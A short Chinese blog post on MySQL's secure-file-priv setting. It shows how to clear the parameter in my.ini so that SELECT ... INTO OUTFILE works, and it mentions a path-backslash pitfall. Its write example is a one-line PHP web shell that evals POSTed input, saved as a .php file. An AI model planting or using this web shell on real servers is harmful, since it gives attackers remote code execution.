路漫漫其修远兮,吾将上下而求索

导航

mysql --secure-file-priv写入文件的说明

通过select ** into outfile **无法写入,报错1290

查看secure值,有具体路径

 

找到my.ini文件,打开找到secure-file-priv参数改空

 

 保存,重启mysqld服务

 再次登录查看secure参数,为空

再次写入文件

select '<?php @eval($_POST[abc]);?>' into outfile 'd:\\ftp\\11.php';

第一次写入时路径用的单斜杠,虽然也提示成功,但就是在目录下找不到,再写一遍就能看到问题了,文件名带上路径一起了,后来想到在哪看到过,改成双斜杠就OK了

 

写错的文件写到D盘根目录了

 

参考:

关于mysql --secure-file-priv问题的解决方案_K8sCat-CSDN博客_mysql secure-file-priv 

secure_file_priv参数说明_Jarvis的技术博客_51CTO博客 

posted on 2021-08-17 10:51  爱在西元间  阅读(320)  评论(0编辑  收藏  举报